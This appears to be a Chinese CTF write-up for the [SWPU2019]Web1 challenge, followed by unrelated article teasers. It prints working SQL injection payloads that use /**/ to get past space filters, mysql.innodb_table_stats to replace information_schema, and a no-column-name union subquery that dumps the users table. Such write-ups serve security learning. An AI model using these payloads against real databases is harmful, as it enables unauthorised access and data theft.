news 2026/5/25 17:31:10

[SWPU2019]Web1 1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[SWPU2019]Web1 1

一个登录界面 这里测试了一下并没有发现sql注入点

注册了一个账号

最终在广告信息管理中发现sql注入点

开始注入

经过一些简单的测试可知空格 or 等被过滤了,所以这里用group来测列数

这里的闭合方式用 引号' 不然会报错

可以看到列23报错

现在查回显位

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'3

回显位2,3

曝库

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'3

得到web1库

然后就是报表

但是这里information_schema.tables被过滤,这里有两种绕过姿势

mysql.innodb_table_stats sys.schema_auto_increment_columns
1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

接着曝列

但是总是被ban

看了其他师傅的wp知道 要用无列名注入

pyload

-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

把2改成3即可得到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/26 6:35:57

启点创新智慧景区票务系统升级方案

在数字经济与文旅融合深度发展的当下,景区票务系统已从单一的售票工具,升级为支撑景区运营管理、优化游客体验、挖掘数据价值的核心枢纽。启点创新基于对国内百余家景区的服务经验与技术沉淀,针对当前景区票务系统普遍存在的“体验碎片化、数…

作者头像 李华
网站建设 2026/5/25 18:43:59

TCP/IP协议栈纯RTL语言实现:含TCP Server/Client与ICMP/Ping的...

TCP IP协议栈IP,纯RTL语言实现,包含tcp server,tcp client,icmp,ping 等,可移植任何平台。用纯RTL实现TCP/IP协议栈听起来像电子工程师的极限运动——既要处理网络协议的状态机,又要保证时序收敛,还得考虑跨…

作者头像 李华
网站建设 2026/5/26 7:33:29

c++ STL容器之list 实现

代码中的注释已经写的比较清楚了&#xff0c;就直接上代码吧#include <iostream>// 节点定义 template<typename T> struct ListNode {ListNode *prev;ListNode *next;T data; };template<typename T> class MyList { private:using Node ListNode<T>…

作者头像 李华